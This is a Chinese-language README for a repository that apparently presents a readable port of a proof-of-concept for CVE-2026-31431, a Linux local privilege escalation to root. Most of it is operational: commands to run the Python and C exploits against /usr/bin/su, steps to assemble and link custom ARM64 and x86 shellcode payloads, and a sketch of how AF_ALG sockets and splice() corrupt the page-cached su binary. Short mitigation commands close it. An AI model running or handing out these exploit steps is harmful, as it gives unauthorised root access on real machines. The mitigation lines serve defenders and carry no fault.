易于理解的 CVE-2026-31431 版本,这是一种允许任何人成为 root 的权限提升技术。原始概念验证位于:https://github.com/theori-io/copy-fail-CVE-2026-31431,但经过高度压缩和混淆,以尽可能减小体积。本仓库试图以更易读的方式分解该代码,包括代码的作用、payload 的加载方式以及如何针对不同架构。更多技术细节请参见:https://xint.io/blog/copy-fail-linux-distributions。
默认情况下,运行 python3 copyfail.py 将执行利用 /usr/bin/su 的 x64 shellcode。你可以通过运行 python3 copyfail.py [path/to/custom/payload.elf] 提供自己的 payload。例如,payloads/ 中有一个 ARM64 shellcode 汇编文件。要在 ARM64 设备上测试,你首先应使用我们的自定义链接脚本构建一个最小化 payload:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
然后你可以使用 python3 copyfail.py shellcode_aarch64.elf 运行主利用程序。
对于在 C 中运行:
./c_copyfail 运行与上面相同的默认 shellcode。./c_copyfail [path/to/custom/payload.elf] 提供自己的 payload。构建 C 版本:
cd c_port
make
具体来说,该过程将目标 .S 文件编译为原始二进制,并输出为 C 语言 unsigned char 数组:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
或者,对于 32 位 x86:
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
然后你可以将该文件的内容复制到源代码中,或者直接运行 ./c_copyfail.exe [path/to/payload.elf],其中 payload.elf 是由 as + ld(而不是 gcc + objcopy)生成的。
为避免被利用,请运行:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
如果已经被利用,你可以重启机器,或者运行:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALG 类型的 socket 与加密 API 通信splice() 系统调用通过 socket 发送数据时,内核会将你 splice 的文件的实际 page cache 页面放入加密工作区/usr/bin/su)/usr/bin/su 时,内核从 page cache 中读取它并得到被修改的字节/usr/bin/su 内部的 UID 检查,使 UID 为 0(root)su 二进制文件在内存中被破坏,因此文件修改不会被检测到。要从磁盘恢复,你可以刷新 page cache。